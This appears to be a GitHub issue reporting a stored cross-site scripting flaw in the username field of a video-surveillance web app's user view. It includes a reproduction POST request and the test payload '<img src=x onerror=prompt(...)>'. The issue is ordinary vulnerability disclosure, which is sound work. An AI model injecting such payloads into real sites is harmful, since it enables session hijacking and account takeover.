Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Describe Your Environment
Describe the bug The view user, does no input validation to the value supplied to username field & processes it further storing the value into the database without any prior filtration, leading to stored XSS.
user
username
To Reproduce Affected URL : http://localhost/zm/index.php
POST Data -
view=user&action=user&uid=4&newUser%5BMonitorIds%5D=&newUser%5BUsername%5D=%3Cimgsrc%3Dxonerror%3Dprompt%28%272%27%29%3B%3E&newUser%5BPassword%5D=&conf_password=&newUser%5BLanguage%5D=en_gb&newUser%5BEnabled%5D=1&newUser%5BSt ream%5D=None&newUser%5BEvents%5D=None&newUser%5BControl%5D=None&newUser%5BMonitors%5D=None&newUser%5BGroups%5D=None&newUser%5BSystem%5D= None&newUser%5BMaxBandwidth%5D=
Payload used - <img src=x onerror=prompt('1');>
<img src=x onerror=prompt('1');>
Expected behavior
Debug Logs
None
The text was updated successfully, but these errors were encountered:
9ce05a9
No branches or pull requests
Describe Your Environment
Describe the bug
The view
user, does no input validation to the value supplied tousernamefield & processes it further storing the value into the database without any prior filtration, leading to stored XSS.To Reproduce
Affected URL :
http://localhost/zm/index.php
POST Data -
Payload used -
<img src=x onerror=prompt('1');>Expected behavior
Debug Logs
The text was updated successfully, but these errors were encountered: